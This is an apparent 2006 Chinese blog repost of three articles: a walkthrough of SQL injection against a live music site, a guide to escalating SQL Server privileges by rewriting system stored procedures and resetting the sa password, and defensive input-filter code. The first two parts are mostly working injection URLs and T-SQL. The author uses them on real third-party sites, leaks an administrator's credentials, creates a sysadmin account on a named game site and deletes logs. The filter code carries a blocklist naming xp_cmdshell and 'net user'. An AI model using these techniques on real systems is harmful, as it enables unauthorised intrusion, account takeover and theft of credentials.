SQL Injection [攻防篇]

有孔就入 SQL Injection的深入探讨
[正文]
  SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQL Injection朋友来说,应该会有所启发。

  一、发现漏洞,常规注入

  最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:

Microsoft OLE DB Provider for SQL Server 错误 80040e14
字符串 之前有未闭合的引号。
/showspecial.asp,行13

  Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤:

  1、提交http://********/showspecial.asp?Specialid=1817;use master;--

  注:--的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by..

  出现

Microsoft OLE DB Provider for SQL Server 错误 80040e21
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/showspecial.asp,行13

  想在他的数据库里增加一个管理员是不可能了,我们再换一种方法

  2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])

  这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段

  一般来说:

  如果不存在该表的话,会出现

Microsoft OLE DB Provider for SQL Server 错误 80040e37
对象名 user 无效。
/showspecial.asp,行13

  不存在该字段的话,会出现

Microsoft OLE DB Provider for SQL Server 错误 80040e14
列名 id 无效。
/showspecial.asp,行13

  注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如<INPUT type=text name=username size=15>

  很幸运,果然存在user表和id字段

  3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])

  这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534

  4、继续猜下去,这里我还是利用的他程序中的表单名,提交:

http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])

  也存在,好了,到这里,我们的平台已经搭建好了。

  二、深入研究,让SQL自己招数据库结构

  很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的表名都会在该表内有存在,(对象名 admin 无效。大家可以看到上面出现的报错把表名描述成对象)。

  我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助):

   name 数据表的名字
   xtype 数据表的类型 u为用户表
   id 数据表的对象标志
   status 保留字段,用户表一般都是大于0的

  在查询分析器执行以下SQL语句(以我本地的数据库为例子)

select top 1 name from sysobjects where xtype=u and status>0

  我们马上就可以得到该数据库下用户表的第一个表名gallery

select top 1 id from sysobjects where xtype=u and name=gallery

  我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048

select top 1 name from sysobjects where xtype=u and id>2099048

  再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。

  以此类推,我们可以得到所有的用户表的名字了

  接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和object_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子):

select top 1 col_name(object_id(gallery),1) from gallery

  得到gallery表的第一个字段名为id。

  注:

   col_name()的语法
   COL_NAME ( table_id , column_id )

  参数

   table_id:包含数据库列的表的标识号。table_id 属于 int 类型。
   column_id:列的标识号。column_id 参数属于 int 类型。

  其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号

  以此类推得到该表所有的字段名称

  三、再次渗透攻击

  经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了

  依然是那个页,我们提交

http://******/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--

  服务器返回

ADODB.Recordset 错误 800a0cb3

  当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。

/showspecial.asp,行19

  出师不利,可能该页记录集打开方式是只读,我们再换一个页

  找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交
http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--

  把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;--

  得到第一个表lmuser的id标识号为:363148339

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--

  得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。

  好,接下来我们就取该表的字段名

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;--

  得到第1个字段为:id

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;--

  得到第2个字段为:username

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;--

  得到第2个字段为:password

  到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。

  我们拿到的id值是44

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;--

  将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;--

  将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ

  怎么样,拿到密码了吧?

  四、总结

  在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。
最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!


sql injection终极利用方法
这样我们就可以任意增加sysadmin拉,呵呵,爽啊。在查询分析器里输入
sp_addsrvrolemember xuwenqiang,sysadmin,Yeah!!!!!!!成功拉。到这里我们就

成功利用拉一个只具有db_owner权限的用户新建拉一个在SQL中具有至高无上权限

,也就是具有sysadmin权限的用户xuwenqiang,有拉sysadmin权限想要webshell或

者系统权限还不容易么!不要只把眼睛只放在我所说的sp_addlogin和

sp_addsrvrolemember这两个存储过程上,凡是只有sysadmin才好使用的存储过程

,利用我的万能提权必杀技,我们都可以使用。比如:sp-

configure,sp_addlinkedserver,sp_addlinkedsrvlogin,sp_makewebtask等等很

多只好sysadmin权限能利用的,我们都可以让他们为我所用。

下面再举一个万能提权的例子

和我一起打造一个永远不会被杀及完美的后门

我们都知道在sql中有个被黑客称为后门的用户,那就是sa,sa 是内置的管理员

登录,而且不能进行更改和删除。呵呵,这是M$说的,要是你看过我写的另外一

篇文章《完全删除sa这个后门》就知道,其实sa也是好删除的。我们知道在sql可

以改密码的存储过程有sp_password,可是我们必须知道要改的用户的旧密码,才

可以更改,那么有没有办法再不知道旧密码的情况下更改sa的密码呢?有,其实

也就是利用sp_configure,sp_configure的功能是显示或更改当前服务器的全局配

置设置。sp_configure(用于更改配置选项)的执行许可权限默认授予 sysadmin

和 serveradmin 固定服务器角色。这很容易只要把sp_configure中检查权限的一

段删除,再重建,我们就好用拉。
CREATE PROCEDURE sp_configure  --- 1996/08/14 09:43

    @configname   varchar(35) = NULL   -- option name to configure
   ,@configvalue  int         = NULL   -- new configuration value
as

set nocount on

declare
    @confignum                  int   --Num of the opt to be configured
   ,@configcount                int   --Num of options like @configname
   ,@show_advance               int   --Y/N Read&Write actions on

"advanced" opts

declare @fullconfigname  varchar (35)
declare @prevvalue   int
/*
**  Determine @maxnumber based on advance option in syscurconfigs.
*/
if (select value from master.dbo.syscurconfigs where config = 518) = 1
   select @show_advance = 1   -- Display advanced options
else
   select @show_advance = 0   -- Don't display advanced options

/*
**  Make certain that max user info. reflects any addpak upgrades.
*/
if (select high from master.dbo.spt_values where number=103 and

type='C')
   <> @@max_connections

   update master.dbo.spt_values
      set high = @@max_connections
      where number = 103
         and type='C'

/*
**  If no option name is given, the procedure will just print out all

the
**  options and their values.
*/
if @configname is NULL
   begin
      select name, minimum = low, maximum = high,
         config_value = c.value,
         run_value = master.dbo.syscurconfigs.value
      from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs
      where type = 'C'
         and number = c.config
         and number = master.dbo.syscurconfigs.config

         and
              ((c.status & 2 <> 0 and @show_advance = 1)
                   OR
               (c.status & 2  = 0)
              )
      order by lower(name)

      return (0)
   end

/*
**  Use @configname and try to find the right option.
**  If there isn't just one, print appropriate diagnostics and return.
*/
select @configcount = count(*), @fullconfigname = min (v.name),

@prevvalue = min (c.value)
   from master.dbo.spt_values v ,master.dbo.sysconfigures c
   where v.name like '%' + @configname + '%' and v.type = 'C'
      and v.number = c.config
      and
             ((c.status & 2 <> 0 and @show_advance = 1)
                   OR
              (c.status & 2  = 0)
             )

/*
**  If no option, show the user what the options are.
*/
if @configcount = 0
   begin
      raiserror (15123,-1,-1,@configname)

      print ' '
      raiserror (15456,-1,-1)

      /*
      ** Show the user what the options are.
      */
      select name, minimum = low, maximum = high,
         config_value = c.value,
         run_value = master.dbo.syscurconfigs.value
      from master.dbo.spt_values, master.dbo.sysconfigures c,

master.dbo.syscurconfigs
      where type = 'C'
         and number = c.config
         and number = master.dbo.syscurconfigs.config

         and
              ((c.status & 2 <> 0 and @show_advance = 1)
                    OR
               (c.status & 2  = 0)
              )

      return (1)
   end

/*
**  If more than one option like @configname, show the duplicates and

return.
*/
if @configcount > 1
   begin
      raiserror (15124,-1,-1,@configname)
      print ' '

      select duplicate_options = name
      from master.dbo.spt_values,master.dbo.sysconfigures c
      where name like '%' + @configname + '%'
         and type = 'C'
         and number = c.config
         and
              ((c.status & 2 <> 0 and @show_advance = 1)
                    OR
               (c.status & 2  = 0)
              )

      return (1)
   end
else
   /* There must be exactly one, so get the full name. */
   select @configname = name --,@value_in_sysconfigures = c.value
      from master.dbo.spt_values,master.dbo.sysconfigures c
      where name like '%' + @configname + '%' and type = 'C'
         and number = c.config
         and
              ((c.status & 2 <> 0 and @show_advance = 1)
                    OR
               (c.status & 2  = 0)
              )

/*
** If @configvalue is NULL, just show the current state of the option.
*/
if @configvalue is null
begin

   select       v.name
                ,v.low   as 'minimum'
                ,v.high  as 'maximum'
                ,c.value as 'config_value'
                ,u.value as 'run_value'
         from
                 master.dbo.spt_values     v  left outer join
                 master.dbo.sysconfigures  c  on v.number = c.config
                                                 left outer join
                 master.dbo.syscurconfigs  u  on v.number = u.config
         where
                 v.type = 'C  '
         and    v.name like '%' + @configname + '%'
         and
                ((c.status & 2 <> 0 and @show_advance = 1)
                       OR
                 (c.status & 2  = 0)
                )
 return (0)
end

/*
**  Now get the configuration number.
*/
select @confignum = number
   from master.dbo.spt_values,master.dbo.sysconfigures c
   where type = 'C'
      and (@configvalue between low and high or @configvalue = 0)
      and name like '%' + @configname + '%'
      and number = c.config
      and
             ((c.status & 2 <> 0 and @show_advance = 1)
                   OR
              (c.status & 2  = 0)
             )

/*
**  If this is the number of default language, we want to make sure
**  that the new value is a valid language id in Syslanguages.
*/
if @confignum = 124
   begin
   if not exists (select * from master.dbo.syslanguages
         where langid = @configvalue)
      begin
         /* 0 is default language, us_english */
         if @configvalue <> 0
             begin
                raiserror(15127,-1,-1)
                return (1)
             end
      end
   end

/*
**  If this is the number of kernel language, we want to make sure
**  that the new value is a valid language id in Syslanguages.
*/
if @confignum = 132
   begin
   if not exists (select * from master.dbo.syslanguages
         where langid = @configvalue)
      begin
         /* 0 is default language, us_english */
         if @configvalue <> 0
             begin
                raiserror(15028,-1,-1)
                return (1)
             end
      end
   end

/*
**  "user options" should not try to set incompatible options/values.
*/
if @confignum = 1534  --"user options"
   begin

   if (@configvalue & (1024+2048) = (1024+2048)) --

ansi_null_default_on/off
      begin
      raiserror(15303,-1,-1,@configvalue)
      return (1)
      end
   end

/*
**  Although the @configname is good, @configvalue wasn't in range.
*/
if @confignum is NULL
   begin
   raiserror(15129,-1,-1,@configvalue,@configname)
   return (1)
   end

--Msg 15002, but in 6.5 allow this inside a txn (not check @@trancount)

#12828.

/*
**  Now update sysconfigures.
*/
update master.dbo.sysconfigures set value = @configvalue
   where config = @confignum

/*
** Flush the procedure cache - this is to account for options which

become
** effective immediately (ie. dont need a server restart).
*/
dbcc freeproccache

raiserror(15457,-1,-1, @fullconfigname, @prevvalue, @configvalue) with

log

return (0) -- sp_configure

GO

 

ok,我们再
sp_configure 'allow updates',1
go
RECONFIGURE WITH OVERRIDE
go

好拉这样我们才好更改sa的密码。接着update sysxlogins set

password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A 1FC944AA50C

BB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改

成拉111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完

全删除sa这个后门》。

 

实例:
     下面对一个国内非常出名的站点进行善意的攻击测试,来对上面的知识进行

一次大概的验证,出于影响等诸多因素,我们称这个站点为www.**173.com

www.**173.com这个站点在游戏上很有名气,排名在前20名(我当时测试的时候)

,在这里我不想说我怎么找到的注射点,大家还可以找找,还是满多的(整个测

试可真花费拉我不少时间,别误会,我不是说时间花在“检测”上,而是都放在

写程序里面拉,不写个像样点的程序,怎么让我为所欲为呢?整个攻击只有10分

钟不到)。
    在找到的注射点gametype=**(郁闷,要是当时测试的时候有nbsi2,偶可能

要轻松不少),先输入drop procedure sp_addlogin,然后在IE里面输入(呵呵,

我当然是在我写的程序里面输入拉)
create procedure  sp_addlogin
    @loginame  sysname
   ,@passwd         sysname = Null
   ,@defdb          ; ; sysname = 'master'      -- UNDONE: DEFAULT

CONFIGURABLE???
   ,@deflanguage    sysname = Null
   ,@sid   varbinary(16) = Null
   ,@encryptopt  varchar(20) = Null
AS
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 Declare @ret    int    -- return value of sp call
   
    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount > 0)
 begin
  raiserror(15002,-1,-1,'sp_addlogin')
  return (1)
 end

    -- VALIDATE LOGIN NAME AS:
    --  (1) Valid SQL Name (SQL LOGIN)
    --  (2) No backslash (NT users only)
    --  (3) Not a reserved login name
 execute @ret = sp_validname @loginame
 if (@ret <> 0)
        return (1)
    if (charindex('\', @loginame) > 0)
    begin
        raiserror(15006,-1,-1,@loginame)
        return (1)
    end

 --Note: different case sa is allowed.
 if (@loginame = 'sa' or lower(@loginame) in ('public'))
 begin
  raiserror(15405, -1 ,-1, @loginame)
  return (1)
 end

    -- LOGIN NAME MUST NOT ALREADY EXIST --
 if exists(select * from master.dbo.syslogins where loginname =

@loginame)
 begin
  raiserror(15025,-1,-1,@loginame)
  return (1)
 end

 -- VALIDATE DEFAULT DATABASE --
 IF db_id(@defdb) IS NULL
 begin
  raiserror(15010,-1,-1,@defdb)
     return (1)
 end

 -- VALIDATE DEFAULT LANGUAGE --
 IF (@deflanguage IS NOT Null)
 begin
  Execute @ret = sp_validlang @deflanguage
  IF (@ret <> 0)
   return (1)
 end
 ELSE
 begin
  select @deflanguage = name from master.dbo.syslanguages
  where langid = @@default_langid --server default

language

  if @deflanguage is null
   select @deflanguage = N'us_english'
 end

 -- VALIDATE SID IF GIVEN --
 if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
 begin
  raiserror(15419,-1,-1)
   return (1)
 end
 else if @sid is null
  select @sid = newid()
 if (suser_sname(@sid) IS NOT Null)
 begin
  raiserror(15433,-1,-1)
   return (1)
 end

 -- VALIDATE AND USE ENCRYPTION OPTION --
 declare @xstatus smallint
 select @xstatus = 2 -- access
 if @encryptopt is null
  select @passwd = pwdencrypt(@passwd)
 else if @encryptopt = 'skip_encryption_old'
 begin
  select @xstatus = @xstatus | 0x800, -- old-style

encryption
   @passwd = convert(sysname, convert(varbinary

(30), convert(varchar(30), @passwd)))
 end
 else if @encryptopt <> 'skip_encryption'
 begin
  raiserror(15600,-1,-1,'sp_addlogin')
  return 1
 end
 -- ATTEMPT THE INSERT OF THE NEW LOGIN --
 INSERT INTO master.dbo.sysxlogins VALUES
        (NULL, @sid, @xstatus, getdate(),
             getdate(), @loginame, convert(varbinary(256), @passwd),
             db_id(@defdb), @deflanguage)
 if @@error <> 0  -- this indicates we saw duplicate row
        return (1)

 -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
 exec('use master grant all to null')

    -- FINALIZATION: RETURN SUCCESS/FAILURE --
 raiserror(15298,-1,-1)
 return  (0) -- sp_addlogin

GO

OK,我们新建个用户exec master..sp_addlogin xwq


再drop procedure sp_addsrvrolemember,然后在IE里输入

 


create procedure sp_addsrvrolemember
    @loginame sysname,   -- login name
    @rolename sysname = NULL -- server role name
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
 set nocount on
 declare @ret        int,    -- return value of sp call
             @rolebit    smallint,
             @ismem      int

    -- DISALLOW USER TRANSACTION --
 set implicit_transactions off
 IF (@@trancount > 0)
 begin
  raiserror(15002,-1,-1,'sp_addsrvrolemember')
  return (1)
 end

   
    -- CANNOT CHANGE SA ROLES --
    if @loginame = 'sa'
    begin
        raiserror(15405, -1 ,-1, @loginame)
        return (1)
    end

    -- OBTAIN THE BIT FOR THIS ROLE --
    select @rolebit = CASE @rolename
             WHEN 'sysadmin'         THEN 16
             WHEN 'securityadmin'    THEN 32
             WHEN 'serveradmin'      THEN 64
             WHEN 'setupadmin'       THEN 128
             WHEN 'processadmin'     THEN 256
             WHEN 'diskadmin'        THEN 512
             WHEN 'dbcreator'        THEN 1024
   WHEN 'bulkadmin'  THEN 4096
             ELSE NULL END

    -- ADD ROW FOR NT LOGIN IF NEEDED --
 if not exists(select * from master.dbo.syslogins where

loginname = @loginame)
    begin
        execute @ret = sp_MSaddlogin_implicit_ntlogin @loginame
        if (@ret <> 0)
     begin
      raiserror(15007,-1,-1,@loginame)
      return (1)
     end
    end

    -- UPDATE ROLE MEMBERSHIP --
    update master.dbo.sysxlogins set xstatus = xstatus | @rolebit,

xdate2 = getdate()
     where name = @loginame and srvid IS NULL

 -- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE

SYSLOGINS CHANGE --
 exec('use master grant all to null')

 raiserror(15488,-1,-1,@loginame,@rolename)

    -- FINALIZATION: RETURN SUCCESS/FAILURE
 return (@@error) -- sp_addsrvrolemember

GO


接着再exec master..sp_addsrvrolemember xwq,sysadmin
我们拿sql综合利用工具或者查询分析器连上看看,呵呵,成功拉,这样我们就在

www.**17173.com的服务器上建拉一个具有最高权限的用户xwq拉,下面的事我想

大家都应该回做拉吧。呵呵,因为只是安全测试,我并没有深入下去,删拉帐号

,清除日志,闪人。

 

看到拉吧,我的必杀技之一——万能提权的威力拉吧,只要是给我一个注射点,

无论什么权限,我都会给你一个webshell甚至系统权限.呵呵,其实说万能的提升

权限方法的确是有点夸张拉,因为CREATE PROCEDURE 的权限默认授予 sysadmin

固定服务器角色成员和 db_owner 和 db_ddladmin 固定数据库角色成员,你要是

碰到Public的权限,那就不好使用拉。

不过不要以为换成public权限,就没有办法拿到webshell或者系统权限拉,恰恰相

反,据我所知public权限的用户拿到webshell甚至系统权限的方法至少也有5种。

最好的防范方法就是杜绝注射漏洞,这才是治标又治本的解决方法。(呵呵,要

是我说,最好连public的权限都不要给,可惜已经没有比public权限更低的角色

拉,没办法谁叫public也可以利用很多有危险的存储过程呢,而且public无法除

去,看来M$对我们这些“坏人”还是很厚爱的哦)


后记

这篇文章是我自2004年4月份装上SQL以来利用课余时间学习研究的,12月初旬写

完,由于危害太大,我一直都不太敢发布,相信国内也有人知道的。只是不公开

而已。经过再三考虑还是决定发布了,希望大家掌握了以后,不要对国内的站点

做任何具有破坏性的操作。

再这篇文章里我并没有提到public权限的用户怎么拿到webshell或者系统权限,

而据我所知public权限的用户拿到webshell甚至系统权限的方法至少5种(偶目前

只会5种,可能还有更多的方法,要是哪位高手会更多,希望能不吝赐教,偶先谢

拉),鉴于危害实在太太大,现在还不是公布这些关键技术细节的时候,等到拉

一个适当的时机,我会把我所掌握的知识无私奉献给大家再重申一次。不要对任何国家的任何合法主机进行破坏,否则后果自负。

防范SQL注入攻击的代码

SQL注入式攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql命令以及进行其他方式的攻击,动态生成Sql命令时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。比如:

  如果你的查询语句是select * from admin where username='"&user&"' and password='"&pwd&"'"

  那么,如果我的用户名是:1' or '1'='1

  那么,你的查询语句将会变成:

select * from admin where username='1 or '1'='1' and password='"&pwd&"'"

  这样你的查询语句就通过了,从而就可以进入你的管理界面。

  所以防范的时候需要对用户的输入进行检查。特别式一些特殊字符,比如单引号,双引号,分号,逗号,冒号,连接号等进行转换或者过滤。

  需要过滤的特殊字符及字符串有:

 net user
 xp_cmdshell
 /add
 exec master.dbo.xp_cmdshell
 net localgroup administrators
 select
 count
 Asc
 char
 mid
 '
 :
 "
 insert
 delete from
 drop table
 update
 truncate
 from
 %

  下面是我写的两种关于解决注入式攻击的防范代码,供大家学习参考!

  js版的防范SQL注入式攻击代码~:

[CODE START]  
<script language="javascript">
<!--
var url = location.search;
var re=/^\?(.*)(select%20|insert%20|delete%20from%20|count\(|drop%20table
  |update%20truncate%20|asc\(|mid\(|char\(|xp_cmdshell|exec%20master
  |net%20localgroup%20administrators|\"|:|net%20user|\'|%20or%20)(.*)$/gi;
var e = re.test(url);
if(e) {
alert("地址中含有非法字符~");
location.href="error.asp";
}
//-->
<script>
[CODE END]

  asp版的防范SQL注入式攻击代码~:

[CODE START]
<%
On Error Resume Next
Dim strTemp

If LCase(Request.ServerVariables("HTTPS")) = "off" Then
strTemp = "http://"
Else
strTemp = "https://"
End If

strTemp = strTemp & Request.ServerVariables("SERVER_NAME")
If Request.ServerVariables("SERVER_PORT") <> 80 Then strTemp = strTemp & ":" & Request.ServerVariables("SERVER_PORT")

strTemp = strTemp & Request.ServerVariables("URL")

If Trim(Request.QueryString) <> "" Then strTemp = strTemp & "?" & Trim(Request.QueryString)

strTemp = LCase(strTemp)

If Instr(strTemp,"select%20") or Instr(strTemp,"insert%20") or Instr(strTemp,"delete%20from") or Instr(strTemp,"count(") or Instr(strTemp,"drop%20table") or Instr(strTemp,"update%20") or Instr(strTemp,"truncate%20") or Instr(strTemp,"asc(") or Instr(strTemp,"mid(") or Instr(strTemp,"char(") or Instr(strTemp,"xp_cmdshell") or Instr(strTemp,"exec%20master") or Instr(strTemp,"net%20localgroup%20administrators") or Instr(strTemp,":") or Instr(strTemp,"net%20user") or Instr(strTemp,"'") or Instr(strTemp,"%20or%20") then
Response.Write "<script language='javascript'>"
Response.Write "alert('非法地址!!');"
Response.Write "location.href='error.asp';"
Response.Write "<script>"
End If
%>
[CODE END]

  C# 检查字符串,防SQL注入攻击

  这个例子里暂定为=号和'号

bool CheckParams(params object[] args)
{
 string[] Lawlesses={"=","'"};
 if(Lawlesses==null||Lawlesses.Length<=0)return true;
 //构造正则表达式,例:Lawlesses是=号和'号,则正则表达式为 .*[=}'].* (正则表达式相关内容请见MSDN)
 //另外,由于我是想做通用而且容易修改的函数,所以多了一步由字符数组到正则表达式,实际使用中,直接写正则表达式亦可;

 String str_Regex=".*[";
 for(int i=0;i< Lawlesses.Length-1;i++)
  str_Regex+=Lawlesses[i]+"|";
  str_Regex+=Lawlesses[Lawlesses.Length-1]+"].*";
  //
  foreach(object arg in args)
  {
   if(arg is string)//如果是字符串,直接检查
   {
    if(Regex.Matches(arg.ToString(),str_Regex).Count>0)
    return false;
   }
   else if(arg is ICollection)
    //如果是一个集合,则检查集合内元素是否字符串,是字符串,就进行检查
   {
    foreach(object obj in (ICollection)arg)
    {
     if(obj is string)
     {
      if(Regex.Matches(obj.ToString(),str_Regex).Count>0)
       return false;
     }
    }
   }
  }
  return true;


posted @ 2006-01-19 21:03  blueKnight  Views(632)  Comments(0Edit  收藏  举报